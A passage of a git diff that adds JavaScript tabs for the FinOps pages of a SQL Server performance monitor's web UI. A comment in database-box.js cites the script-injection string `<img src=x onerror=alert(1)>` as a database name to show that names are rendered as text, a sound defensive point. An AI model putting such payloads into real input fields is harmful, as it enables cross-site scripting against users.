+import { gatedEmptyStrip } from "./gate.js";
+
+const HOURS = 24;
+
+const COLUMNS = [
+  { key: "application_name", label: "Application" },
+  { key: "avg_connections", label: "Avg connections", format: "int" },
+  { key: "max_connections", label: "Max connections", format: "int" },
+  { key: "avg_running", label: "Avg running", format: "int" },
+  { key: "max_running", label: "Max running", format: "int" },
+  { key: "avg_sleeping", label: "Avg sleeping", format: "int" },
+  { key: "max_sleeping", label: "Max sleeping", format: "int" },
+  { key: "avg_dormant", label: "Avg dormant", format: "int" },
+  { key: "max_dormant", label: "Max dormant", format: "int" },
+  { key: "avg_cpu_time_ms", label: "Avg CPU", format: "ms" },
+  { key: "max_cpu_time_ms", label: "Max CPU", format: "ms" },
+  { key: "avg_reads", label: "Avg reads", format: "int" },
+  { key: "max_reads", label: "Max reads", format: "int" },
+  { key: "avg_writes", label: "Avg writes", format: "int" },
+  { key: "max_writes", label: "Max writes", format: "int" },
+  { key: "avg_logical_reads", label: "Avg logical reads", format: "int" },
+  { key: "max_logical_reads", label: "Max logical reads", format: "int" },
+  { key: "sample_count", label: "Samples", format: "int" },
+  { key: "first_seen_utc", label: "First seen", format: "time" },
+  { key: "last_seen_utc", label: "Last seen", format: "time" },
+];
+
+// The count, the window and the truncation all come from the answer.
+function noticeText(data) {
+  const n = (data.rows || []).length;
+  let text = (n === 1 ? "1 application" : n + " applications") + ", last " + (data.hours_back ?? HOURS) + " hours";
+  text += data.truncated ? "; the top " + n + " of " + (data.application_count ?? "more") + " applications by peak connections." : ".";
+  return text;
+}
+
+export const tab = {
+  id: "application-connections",
+  label: "Application Connections",
+  build(server, ctx) {
+    const body = el("div", {}, [loadingStrip()]);
+    (async () => {
+      try {
+        const res = await readTool("get_finops", { server, view: "application_connections", hours: HOURS }, ctx && ctx.signal);
+        if (res.kind === "aborted" || res.kind === "auth") return;
+        if (res.kind === "error") return mount(body, readErrorStrip(res.message));
+        if (res.kind === "empty") return mount(body, gatedEmptyStrip(res, ctx));
+        const data = res.data || {};
+        mount(body, [
+          el("h3", { text: "Application Connections (24h)" }),
+          noticeStrip(noticeText(data)),
+          VIZ.table(data, { rowsKey: "rows", columns: COLUMNS, emptyText: "No application connection data was recorded for this server." }),
+        ]);
+      } catch (e) {
+        if (e?.name !== "AbortError") mount(body, errorStrip("Could not render this tab: " + (e && e.message ? e.message : String(e))));
+      }
+    })();
+    return body;
+  },
+};
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/database-box.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/database-box.js
new file mode 100644
index 0000000000..b90e05322d
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/database-box.js
@@ -0,0 +1,174 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/* The FinOps "Database" box (#5231): one text box with a suggestion list, shared by the FinOps tabs that read one database at a
+   time (Index Analysis, Locking & Contention). Empty means "All databases"; any other value is ONE name, sent exactly as typed.
+   There is no comma splitting and no trimming of a name: database names are chosen by whoever can create a database, so `A,B`,
+   `x]`, ` SalesDb` (leading space), `O'Brien`, `50%+off` and `<img src=x onerror=alert(1)>` are each one name, and every name and
+   notice here is drawn as text, never as markup (#5244 L6). A value that is only blanks is "All databases".
+
+   The stored spelling (#5244 L8c): PostgreSQL `=` is case-sensitive and the store keeps the name as the monitored server spelled it,
+   so a typed "salesdb" must reach the read as "SalesDb". When the typed text matches a suggestion ignoring case, the box sends the
+   suggestion; a name that matches no suggestion is sent as typed. Two suggestions that differ only by case are ambiguous, so the
+   typed text goes as typed unless it equals one of them exactly.
+
+   The panel is rebuilt on every poll. The per-server `choice` object (the page's module state) keeps what the reader typed
+   (draft), the caret and the focus, so the new box takes them back; a blur caused by the old panel leaving the page must not clear
+   the focus. Chrome fires that blur DURING the removal, while the box is still connected, so the check waits a turn.
+
+   Where the suggestions come from:
+   - `server` omitted: the page hands names in with setNames (Index Analysis: the databases of its last unfiltered read).
+   - `server` given: the box reads /api/server-databases?server=... itself. That route stops at 5,000 names and says so
+     (truncated). A list that is not cut holds every name, so typing only filters it in the browser and reads nothing. A cut list
+     asks the route again with `search` after a short pause as the reader types; each keystroke cancels the pending ask and the read
+     in flight, and only the newest answer is shown (the same shape as the Databases picker, js/pages/database-filter.js). */
+
+import { el, mount, apiGet } from "../../util.js";
+
+/** The pause after the last keystroke before a cut list asks the route for the typed text, in milliseconds (the picker's pause). */
+export const SEARCH_DEBOUNCE_MS = 250;
+
+let listCounter = 0;
+
+/**
+ * The name to send for what was typed. A blank value is "" (All databases). A value equal to a suggestion is kept. Otherwise the
+ * one suggestion that matches ignoring case is sent in its stored spelling, and anything else goes as typed (#5244 L8c).
+ */
+export function storedSpelling(typed, names) {
+  if (typed == null || String(typed).trim() === "") return "";
+  const value = String(typed);
+  if (names.includes(value)) return value;
+  const folded = value.toLowerCase();
+  const same = names.filter((n) => typeof n === "string" && n.toLowerCase() === folded);
+  return same.length === 1 ? same[0] : value;
+}
+
+/** What a page keeps per server for its box: { db, draft, caret, focused, names, cut, answer, ... } (this module owns those fields). */
+export function newBoxChoice() {
+  return { db: "", draft: undefined, caret: undefined, focused: false, names: [], cut: false, answer: null, searchSeq: 0, loadFailed: "" };
+}
+
+/**
+ * Builds the box. `choice` is the page's per-server state (db is the name the page reads with), `onCommit()` runs after the reader
+ * commits a name (choice.db is set), `server` turns on the route reads. Returns { nodes, input, setNames }: `nodes` are the label and
+ * the suggestion list to put in the page's controls row.
+ */
+export function databaseBox(choice, { onCommit, server = null }) {
+  const listId = "finops-database-box-" + (++listCounter);
+  const datalist = el("datalist", { id: listId });
+  const input = el("input", { type: "text", list: listId, class: "sort-select", autocomplete: "off", placeholder: "All databases" });
+  const hint = el("span", { class: "finops-note" });
+  const label = el("label", { class: "sort-control" }, [el("span", { text: "Database" }), input]);
+  input.value = choice.draft ?? choice.db;
+
+  const shown = () => (choice.answer ? choice.answer.names : choice.names);
+  // The names a typed value may match: the first page and the newest search answer, so a name found by search is still matched.
+  const known = () => (choice.answer ? [...new Set([...choice.names, ...choice.answer.names])] : choice.names);
+
+  function paint() {
+    mount(datalist, shown().map((n) => el("option", { value: n })));
+    let text = "";
+    if (choice.loadFailed) text = choice.loadFailed;
+    else if (choice.cut && choice.answer && choice.answer.cut) text = "The search stops at " + choice.answer.names.length + " databases, so more matches are not shown. Type more of the name to narrow it.";
+    else if (choice.cut && !choice.answer) text = "The list stops at " + choice.names.length + " databases, so more are not shown. Type part of a name to find it.";
+    hint.textContent = text; // text, never markup
+  }
+  choice.paint = paint;
+
+  function dropSearch() {
+    clearTimeout(choice.searchTimer);
+    choice.searchTimer = undefined;
+    if (choice.searchAbort) choice.searchAbort.abort();
+    choice.searchAbort = undefined;
+    choice.searchSeq = (choice.searchSeq || 0) + 1;
+  }
+
+  async function runSearch(seq, query) {
+    const controller = typeof AbortController === "function" ? new AbortController() : null;
+    choice.searchAbort = controller || undefined;
+    const res = await apiGet("/api/server-databases?server=" + encodeURIComponent(server) + "&search=" + encodeURIComponent(query), controller ? controller.signal : undefined);
+    if (choice.searchSeq !== seq) return; // a newer keystroke owns the list now
+    choice.searchAbort = undefined;
+    if (res.kind === "data" && res.data && Array.isArray(res.data.databases)) {
+      choice.loadFailed = "";
+      choice.answer = { query, names: res.data.databases.filter((d) => typeof d === "string"), cut: res.data.truncated === true };
+    } else if (res.kind !== "aborted") {
+      choice.answer = null;
+      choice.loadFailed = "The search could not be run" + (res.message ? ": " + res.message : ".");
+    }
+    if (choice.paint) choice.paint();
+  }
+
+  // A keystroke. A list that is not cut already holds every name, so the browser's own filter is the whole search.
+  function searchTyped(text) {
+    if (!server || !choice.cut) return;
+    dropSearch();
+    const seq = choice.searchSeq;
+    if (text.trim() === "") {
+      if (choice.answer) {
+        choice.answer = null;
+        paint();
+      }
+      return;
+    }
+    choice.searchTimer = setTimeout(() => runSearch(seq, text), SEARCH_DEBOUNCE_MS);
+  }
+
+  async function load() {
+    const res = await apiGet("/api/server-databases?server=" + encodeURIComponent(server));
+    if (res.kind === "data" && res.data && Array.isArray(res.data.databases)) {
+      choice.loadFailed = "";
+      choice.names = res.data.databases.filter((d) => typeof d === "string");
+      choice.cut = res.data.truncated === true;
+      if (!choice.cut) choice.answer = null;
+    } else if (res.kind !== "aborted") {
+      choice.loadFailed = "The list of databases could not be loaded" + (res.message ? ": " + res.message : ".");
+    }
+    if (choice.paint) choice.paint();
+  }
+
+  input.addEventListener("input", () => {
+    choice.draft = input.value;
+    choice.caret = [input.selectionStart, input.selectionEnd];
+    searchTyped(input.value);
+  });
+  input.addEventListener("focus", () => {
+    choice.focused = true;
+  });
+  input.addEventListener("blur", () => {
+    setTimeout(() => {
+      if (input.isConnected) choice.focused = false;
+    }, 0);
+  });
+  input.addEventListener("change", () => {
+    choice.db = storedSpelling(input.value, known());
+    choice.draft = undefined;
+    input.value = choice.db;
+    onCommit();
+  });
+
+  paint();
+  if (server) load();
+  if (choice.focused) {
+    setTimeout(() => {
+      if (input.isConnected) {
+        input.focus();
+        if (choice.caret) input.setSelectionRange(choice.caret[0], choice.caret[1]);
+      }
+    }, 0);
+  }
+
+  return {
+    nodes: [label, datalist, hint],
+    input,
+    setNames(names) {
+      choice.names = names;
+      paint();
+    },
+  };
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/database-resources.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/database-resources.js
new file mode 100644
index 0000000000..f69c24798d
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/database-resources.js
@@ -0,0 +1,71 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/* FinOps "Database Resources" tab: per-database CPU, reads, writes, executions and file I/O from get_finops
+   (view database_resources) over a window picked on the shared time range picker (#5562: a rolling length of at least an hour, within the read's reach), with each database's share of the server's CPU and I/O. */
+
+import { VIZ } from "../../panels.js";
+import { el, mount, loadingStrip, noticeStrip, readErrorStrip, errorStrip, readTool } from "../../util.js";
+import { gatedEmptyStrip } from "./gate.js";
+import { finopsWindowControl } from "./window.js";
+
+// The default window.
+const HOURS = 24;
+
+const COLUMNS = [
+  { key: "database_name", label: "Database" },
+  { key: "cpu_time_ms", label: "CPU", format: "ms" },
+  { key: "cpu_share_pct", label: "CPU %", format: "num2" },
+  { key: "logical_reads", label: "Logical reads", format: "int" },
+  { key: "physical_reads", label: "Physical reads", format: "int" },
+  { key: "logical_writes", label: "Logical writes", format: "int" },
+  { key: "execution_count", label: "Executions", format: "int" },
+  { key: "io_read_mb", label: "I/O read MB", format: "num2" },
+  { key: "io_write_mb", label: "I/O write MB", format: "num2" },
+  { key: "io_share_pct", label: "I/O %", format: "num2" },
+  { key: "io_stall_ms", label: "I/O stall", format: "ms" },
+];
+
+// The count, the window and the truncation all come from the answer.
+function noticeText(data) {
+  const n = (data.rows || []).length;
+  let text = (n === 1 ? "1 database" : n + " databases") + ", last " + (data.hours_back ?? HOURS) + " hours";
+  text += data.truncated ? "; the top " + n + " of " + data.database_count + " databases by CPU, then I/O." : ".";
+  return text;
+}
+
+export const tab = {
+  id: "database-resources",
+  label: "Database Resources",
+  build(server, ctx) {
+    const body = el("div", {}, [loadingStrip()]);
+    let seq = 0;
+    const load = async (hours) => {
+      const mine = ++seq;
+      mount(body, loadingStrip());
+      try {
+        const res = await readTool("get_finops", { server, view: "database_resources", hours }, ctx && ctx.signal);
+        if (mine !== seq) return;
+        if (res.kind === "aborted" || res.kind === "auth") return;
+        if (res.kind === "error") return mount(body, readErrorStrip(res.message));
+        if (res.kind === "empty") return mount(body, gatedEmptyStrip(res, ctx));
+        const data = res.data || {};
+        mount(body, [
+          noticeStrip(noticeText(data)),
+          VIZ.table(data, { rowsKey: "rows", columns: COLUMNS, emptyText: "No database resource usage was recorded for this server." }),
+        ]);
+      } catch (e) {
+        if (mine === seq && e?.name !== "AbortError") mount(body, errorStrip("Could not render this tab: " + (e && e.message ? e.message : String(e))));
+      }
+    };
+    const win = finopsWindowControl({ hours: HOURS, onChange: (hours) => load(hours) });
+    const root = el("div", {}, [win.node, body]);
+    load(HOURS);
+    return root;
+  },
+};
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/database-sizes.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/database-sizes.js
new file mode 100644
index 0000000000..2fd58185cc
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/database-sizes.js
@@ -0,0 +1,92 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/* FinOps "Database Sizes" tab: one row per database file from get_finops (view database_sizes): size, used and
+   free space, auto growth, recovery model, VLF count, volume and the file's share of the server's monthly cost, as
+   the read returns them. */
+
+import { VIZ } from "../../panels.js";
+import { el, mount, loadingStrip, noticeStrip, readErrorStrip, errorStrip, readTool, fmtMb, applyFormat, relTime, localTime } from "../../util.js";
+import { gatedEmptyStrip } from "./gate.js";
+
+// The desktop's Auto Growth text: a percentage step, a MB step, "Disabled" when growth is off, "-" when unknown.
+function growthText(row) {
+  if (row.is_percent_growth == null) return "-";
+  if (row.is_percent_growth) return row.growth_pct == null ? "-" : row.growth_pct + "%";
+  return !row.auto_growth_mb ? "Disabled" : applyFormat("int", row.auto_growth_mb) + " MB";
+}
+
+// The desktop's sort order for the column: unknown first, then the step size.
+function growthSort(row) {
+  if (row.is_percent_growth == null) return -1;
+  if (row.is_percent_growth) return row.growth_pct ?? -1;
+  return row.auto_growth_mb ?? 0;
+}
+
+const COLUMNS = [
+  { key: "database_name", label: "Database" },
+  { key: "file_name", label: "File" },
+  { key: "file_type", label: "Type" },
+  { key: "total_size_mb", label: "Total", format: "mb" },
+  { key: "used_size_mb", label: "Used", format: "mb" },
+  { key: "free_space_mb", label: "Free MB", format: "mb" },
+  { key: "used_pct", label: "Used %", format: "num1" },
+  {
+    key: "max_size_mb",
+    label: "Max size",
+    align: "right",
+    sortValue: (row) => (row.max_size_mb === -1 ? Infinity : row.max_size_mb),
+    render: (row) => el("span", { text: row.max_size_mb === -1 ? "Unlimited" : row.max_size_mb == null ? "—" : fmtMb(row.max_size_mb) }),
+  },
+  {
+    key: "auto_growth_mb",
+    label: "Auto growth",
+    align: "right",
+    sortValue: growthSort,
+    render: (row) => el("span", { text: growthText(row) }),
+  },
+  { key: "recovery_model", label: "Recovery model" },
+  { key: "vlf_count", label: "VLF count", format: "int" },
+  { key: "volume_mount_point", label: "Volume" },
+  { key: "volume_total_mb", label: "Volume total", format: "mb" },
+  { key: "volume_free_mb", label: "Volume free", format: "mb" },
+  { key: "monthly_cost_usd", label: "Monthly cost ($)", format: "num2", hideWhenEmpty: true },
+  { key: "size_note", label: "Note", wrap: true, hideWhenEmpty: true },
+];
+
+/* The most files the view lists; the grid shows every file, so the tab asks for the ceiling. */
+const MAX_FILES = 500;
+
+export const tab = {
+  id: "database-sizes",
+  label: "Database Sizes",
+  build(server, ctx) {
+    const body = el("div", {}, [loadingStrip()]);
+    (async () => {
+      try {
+        const res = await readTool("get_finops", { server, view: "database_sizes", limit: MAX_FILES }, ctx && ctx.signal);
+        if (res.kind === "aborted" || res.kind === "auth") return;
+        if (res.kind === "error") return mount(body, readErrorStrip(res.message));
+        if (res.kind === "empty") return mount(body, gatedEmptyStrip(res, ctx));
+        const data = res.data || {};
+        const files = Array.isArray(data.rows) ? data.rows : [];
+        const notes = [];
+        if (typeof data.captured_at === "string" && data.captured_at) notes.push(noticeStrip("Captured " + relTime(data.captured_at) + " (" + localTime(data.captured_at) + ")"));
+        if (data.truncated) notes.push(noticeStrip("Showing the largest " + files.length + " of " + data.file_count + " files."));
+        if (typeof data.note === "string" && data.note.trim()) notes.push(noticeStrip(data.note));
+        mount(body, [
+          ...notes,
+          VIZ.table({ files }, { rowsKey: "files", columns: COLUMNS, emptyText: "No database files were reported for this server." }),
+        ]);
+      } catch (e) {
+        if (e?.name !== "AbortError") mount(body, errorStrip(String(e)));
+      }
+    })();
+    return body;
+  },
+};
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/gate.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/gate.js
new file mode 100644
index 0000000000..5bc105c910
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/gate.js
@@ -0,0 +1,43 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/*
+ * FinOps on a PostgreSQL target. Most FinOps panels read SQL Server data, and on a PostgreSQL server the read answers
+ * not_collected with a paragraph that explains the gate (which collector is missing, on which engine). Seven panels in a
+ * row repeating that paragraph read as noise, so a panel on a PostgreSQL target that does not apply says one short line.
+ * A SQL Server target keeps the server's own sentence: there it names a real reason (an Azure SQL Database without a
+ * collector, say) the reader can act on.
+ */
+
+import { emptyStrip } from "../../util.js";
+
+export const PG_NOT_COLLECTED = "Not collected for PostgreSQL";
+
+/** True for a list_servers row of a PostgreSQL target (postgres, aurora-postgres...); a row with no engine_kind is SQL Server. */
+export function isPostgresRow(row) {
+  return !!(row && typeof row.engine_kind === "string" && /postgres/i.test(row.engine_kind));
+}
+
+/** The strip for a read that answered `empty`: one plain line when a PostgreSQL target's panel does not apply, else the server's sentence. */
+export function gatedEmptyStrip(res, ctx) {
+  if (ctx && ctx.postgres && res && res.status === "not_collected") return emptyStrip(PG_NOT_COLLECTED);
+  return emptyStrip(res.message);
+}
+
+/**
+ * The same rule for the sections of a multi-section answer (Optimization, Storage Growth): on a PostgreSQL target each
+ * section answered not_collected says the short line instead of the gate paragraph. The sections are copied, not changed.
+ */
+export function gatedSections(data, ctx) {
+  if (!ctx || !ctx.postgres || !data || typeof data !== "object") return data;
+  const out = { ...data };
+  for (const [k, v] of Object.entries(data)) {
+    if (v && typeof v === "object" && !Array.isArray(v) && v.status === "not_collected") out[k] = { ...v, message: PG_NOT_COLLECTED };
+  }
+  return out;
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/high-impact.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/high-impact.js
new file mode 100644
index 0000000000..d0c051615f
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/high-impact.js
@@ -0,0 +1,86 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/* FinOps "High Impact" tab: the top queries by impact score from get_finops (view high_impact) over a
+   window picked from 1 hour to 7 days, each with its share of CPU, duration, reads, writes, memory and executions, the band the read
+   returns as text, and a sample of its statement. */
+
+import { VIZ } from "../../panels.js";
+import { planColumn } from "../plan-viewer.js";
+import { el, mount, loadingStrip, noticeStrip, readErrorStrip, errorStrip, readTool } from "../../util.js";
+import { gatedEmptyStrip } from "./gate.js";
+import { finopsWindowControl } from "./window.js";
+
+// The default window.
+const HOURS = 24;
+
+// The chosen window per server, kept here so the 60 s rebuild of the tab does not put it back to 24 hours.
+const chosenHours = new Map();
+
+const LIMIT = 10;
+
+const COLUMNS = [
+  { key: "impact_score", label: "Score", format: "int" },
+  { key: "impact_band", label: "Band" },
+  { key: "database_name", label: "Database" },
+  { key: "query_hash", label: "Query hash", mono: true },
+  { key: "sample_query_text", label: "Query preview", wrap: true, valueList: false },
+  { key: "total_executions", label: "Executions", format: "int" },
+  { key: "total_cpu_ms", label: "CPU", format: "ms" },
+  { key: "cpu_share_pct", label: "CPU %", format: "num1" },
+  { key: "total_duration_ms", label: "Duration", format: "ms" },
+  { key: "duration_share_pct", label: "Duration %", format: "num1" },
+  { key: "total_reads", label: "Reads", format: "int" },
+  { key: "reads_share_pct", label: "Reads %", format: "num1" },
+  { key: "total_writes", label: "Writes", format: "int" },
+  { key: "writes_share_pct", label: "Writes %", format: "num1" },
+  { key: "total_memory_mb", label: "Memory MB", format: "num1" },
+  { key: "memory_share_pct", label: "Memory %", format: "num1" },
+  { key: "executions_share_pct", label: "Executions %", format: "num1" },
+  { key: "has_plan", label: "Plan", format: "bool" },
+];
+
+// The read returns the union of the top LIMIT hashes on each of six measures, so the count and the window come from the answer.
+function noticeText(data) {
+  const n = (data.rows || []).length;
+  const lead = n === 1 ? "1 query in the top " : n + " queries in the top ";
+  return lead + LIMIT + " on CPU, duration, reads, writes, memory or executions, ranked by impact score, last " + (data.hours_back ?? HOURS) + " hours.";
+}
+
+export const tab = {
+  id: "high-impact",
+  label: "High Impact",
+  build(server, ctx) {
+    const body = el("div", {}, [loadingStrip()]);
+    let seq = 0;
+    const load = async (hours) => {
+      const mine = ++seq;
+      chosenHours.set(server, hours);
+      mount(body, loadingStrip());
+      try {
+        const res = await readTool("get_finops", { server, view: "high_impact", hours, limit: LIMIT }, ctx && ctx.signal);
+        if (mine !== seq) return;
+        if (res.kind === "aborted" || res.kind === "auth") return;
+        if (res.kind === "error") return mount(body, readErrorStrip(res.message));
+        if (res.kind === "empty") return mount(body, gatedEmptyStrip(res, ctx));
+        const data = res.data || {};
+        mount(body, [
+          noticeStrip(noticeText(data)),
+          VIZ.table(data, { rowsKey: "rows", columns: [...COLUMNS, planColumn(server)], emptyText: "No queries were ranked for this server." }),
+        ]);
+      } catch (e) {
+        if (mine === seq && e?.name !== "AbortError") mount(body, errorStrip("Could not render this tab: " + (e && e.message ? e.message : String(e))));
+      }
+    };
+    const start = chosenHours.get(server) ?? HOURS;
+    const win = finopsWindowControl({ hours: start, onChange: (hours) => load(hours) });
+    const root = el("div", {}, [win.node, body]);
+    load(start);
+    return root;
+  },
+};
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/index-analysis.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/index-analysis.js
new file mode 100644
index 0000000000..b1917ef698
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/index-analysis.js
@@ -0,0 +1,191 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/* FinOps "Index Analysis" tab: get_finops view index_analysis, shown as the caveat notes, the reclaimable-space
+   roll-up (the overall row first, then one row per database) and the cleanup recommendations.
+   Rows stay in payload order: recommendations largest index first, databases by total maximum savings. At most LIMIT
+   recommendations (500, the most the view takes, #5238) and the first databases come back, and the notice says so: when the
+   read cut the list it names the limit and how many are not shown, and points at the Database box. Differences from the desktop grid:
+   the overall row has no workload figures, so those cells show "—", and its Collected cell shows "—" too (the desktop leaves it blank); an average wait of none shows 0.00; script and
+   definition text is cut by the read unless the "Full script and definition text" box is ticked; analyzer notes sit in a
+   collapsed block; there are no tooltips. A Database box (database-box.js: any name, sent as one name; the list suggests the databases shown by the last
+   unfiltered read, and a typed name that matches one ignoring case is sent in its stored spelling) and that box re-read the view; the controls stay put and only the content below them is remounted.
+   The choice is kept per server in module state, so it survives the page's poll rebuilds while the page stays open. */
+
+import { VIZ } from "../../panels.js";
+import { databaseBox, newBoxChoice } from "./database-box.js";
+import { el, mount, loadingStrip, noticeStrip, readErrorStrip, errorStrip, readTool, fmtInt, fmtNum } from "../../util.js";
+import { gatedEmptyStrip } from "./gate.js";
+
+// The most recommendations the view lists (#5238). The desktop grid shows every finding, so the tab asks for the ceiling, as the
+// Database Sizes tab asks for its 500 files; the view's own default of 10 and the 50 of its other top-N views are not for this tab.
+const LIMIT = 500;
+const DERIVED_KEYS = ["reads_breakdown", "index_size_gb_text", "captured_at"];
+
+const ROLLUP_COLUMNS = [
+  { key: "database_name", label: "Database" },
+  { key: "tables_analyzed", label: "Tables", format: "int" },
+  { key: "index_count", label: "Indexes", format: "int" },
+  { key: "total_size_gb", label: "Size GB", format: "num2" },
+  { key: "total_rows", label: "Rows", format: "int" },
+  { key: "indexes_to_disable", label: "To Disable", format: "int" },
+  { key: "indexes_to_merge", label: "To Merge", format: "int" },
+  { key: "compressable_indexes", label: "Compressable", format: "int" },
+  { key: "unused_indexes", label: "Unused", format: "int" },
+  { key: "unused_size_gb", label: "Disable GB", format: "num2" },
+  { key: "compression_min_savings_gb", label: "Compress Min GB", format: "num2" },
+  { key: "compression_max_savings_gb", label: "Compress Max GB", format: "num2" },
+  { key: "total_min_savings_gb", label: "Total Min GB", format: "num2" },
+  { key: "total_max_savings_gb", label: "Total Max GB", format: "num2" },
+  { key: "reads_breakdown", label: "Reads" },
+  { key: "writes", label: "Writes", format: "int" },
+  { key: "lock_wait_count", label: "Lock Waits", format: "int" },
+  { key: "avg_lock_wait_ms", label: "Avg Lock Wait ms", format: "num2" },
+  { key: "latch_wait_count", label: "Latch Waits", format: "int" },
+  { key: "avg_latch_wait_ms", label: "Avg Latch Wait ms", format: "num2" },
+  { key: "captured_at", label: "Collected", format: "time" },
+];
+
+const RECOMMENDATION_COLUMNS = [
+  { key: "action", label: "Action" },
+  { key: "result_kind", label: "Result Kind" },
+  { key: "consolidation_rule", label: "Rule" },
+  { key: "database_name", label: "Database" },
+  { key: "schema_name", label: "Schema" },
+  { key: "table_name", label: "Table" },
+  { key: "index_name", label: "Index" },
+  { key: "index_size_gb_text", label: "Size GB", align: "right", sortValue: (r) => r.index_size_gb },
+  { key: "index_rows", label: "Rows", format: "int" },
+  { key: "index_reads", label: "Reads", format: "int" },
+  { key: "index_writes", label: "Writes", format: "int" },
+  { key: "target_index_name", label: "Target Index" },
+  { key: "superseded_by", label: "Superseded / Related", wrap: true },
+  { key: "additional_info", label: "Info", wrap: true },
+  { key: "original_index_definition", label: "Original Definition", wrap: true, mono: true, pre: true },
+  { key: "script", label: "Script", wrap: true, mono: true, pre: true },
+  { key: "captured_at", label: "Collected", format: "time" },
+];
+
+// The reads cell as the desktop writes it. The overall row carries no counters, so its cell stays missing.
+function rollupRow(r) {
+  return { ...r, reads_breakdown: r.total_reads == null ? null : fmtInt(r.total_reads) + " (" + fmtInt(r.user_seeks) + " seeks, " + fmtInt(r.user_scans) + " scans, " + fmtInt(r.user_lookups) + " lookups)" };
+}
+
+// A recommendation carries no snapshot time of its own; its database's roll-up does (captured_at). The time is set only
+// when exactly one listed database row has that name (ordinal, case-sensitive); two ids sharing a name, or a database the
+// roll-up list does not hold (the web sees only the databases shown, not every roll-up), leave the cell missing.
+function capturedByName(databases) {
+  const seen = new Map();
+  for (const d of databases) seen.set(d.database_name, seen.has(d.database_name) ? null : (d.captured_at ?? null));
+  return seen;
+}
+
+function recommendationRow(r, captured) {
+  return { ...r, index_size_gb_text: fmtNum(r.index_size_gb, 3), captured_at: captured.get(r.database_name) ?? null };
+}
+
+// The latest choice per server: the Database box's fields (db, draft, caret, focused; names are the databases of the last unfiltered
+// read) plus `full`.
+const choices = new Map();
+
+function choiceFor(server) {
+  let c = choices.get(server);
+  if (!c) {
+    c = { ...newBoxChoice(), full: false };
+    choices.set(server, c);
+  }
+  return c;
+}
+
+function noticeText(data, n, db) {
+  // The read says when rows were cut (truncated, with the count of every finding), so the notice never guesses: a list of exactly
+  // the limit that cut nothing says nothing. A cut list of the whole server points at the Database box, whose list is cut on its own.
+  const rowsCut = n > 0 && data.truncated;
+  // The count left over reads "1 more is not shown" for one and "N more are not shown" for any other number.
+  const left = data.recommendation_count - n;
+  const count = n === 0
+    ? "No cleanup recommendations: indexes look clean."
+    : (rowsCut
+      ? "Showing the largest " + n + " of " + data.recommendation_count + " recommendations. The list stops at " + n + ", so " + (left === 1 ? "1 more is" : left + " more are") + " not shown."
+      : n + (n === 1 ? " recommendation." : " recommendations."));
+  const narrow = rowsCut && !db ? " Choose a database above to see its own list." : "";
+  const cut = data.databases_truncated ? " Showing the largest databases of " + data.database_count + "." : "";
+  const workload = data.overall_workload_reason ? " Overall row: " + data.overall_workload_reason + "." : "";
+  const filter = db ? " Database " + db + "." : "";
+  return count + filter + narrow + cut + " Analyzed from each database's newest collected snapshot." + workload;
+}
+
+export const tab = {
+  id: "index-analysis",
+  label: "Index Analysis",
+  build(server, ctx) {
+    const choice = choiceFor(server);
+    const content = el("div", {}, [loadingStrip()]);
+    const box = databaseBox(choice, { onCommit: () => reread() });
+    const fullBox = el("input", { type: "checkbox" });
+    fullBox.checked = choice.full;
+    const controls = el("div", { class: "sort-control" }, [
+      ...box.nodes,
+      el("label", { class: "sort-control" }, [fullBox, el("span", { text: "Full script and definition text" })]),
+    ]);
+    let generation = 0;
+
+    async function load() {
+      const mine = ++generation;
+      const params = { server, view: "index_analysis", limit: LIMIT };
+      if (choice.db) params.database_name = choice.db;
+      if (choice.full) params.full_text = true;
+      try {
+        const res = await readTool("get_finops", params, ctx && ctx.signal);
+        if (mine !== generation) return;
+        if (res.kind === "aborted" || res.kind === "auth") return;
+        if (res.kind === "error") return mount(content, readErrorStrip(res.message));
+        if (res.kind === "empty") return mount(content, gatedEmptyStrip(res, ctx));
+        const data = res.data || {};
+        if (!choice.db) {
